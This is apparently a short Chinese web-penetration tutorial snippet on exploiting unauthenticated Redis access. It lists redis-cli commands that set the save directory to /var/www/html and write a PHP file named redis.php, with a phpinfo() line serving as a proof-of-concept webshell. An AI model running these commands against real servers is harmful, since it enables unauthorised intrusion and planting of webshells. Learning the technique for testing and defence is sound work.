Redis未授權訪問漏洞的利用

web滲透學習交流羣：811401950 利用redis寫webshell 在redis-cli中寫入以下命令: config set dir /var/www/html/ config set dbfilename redis.php set webshell 「<?php phpinfo(); ?>」 save 然後看一下目錄下是否生成了一個redis.php的文件 可以看到生成了，查看一下

>>阅读原文<<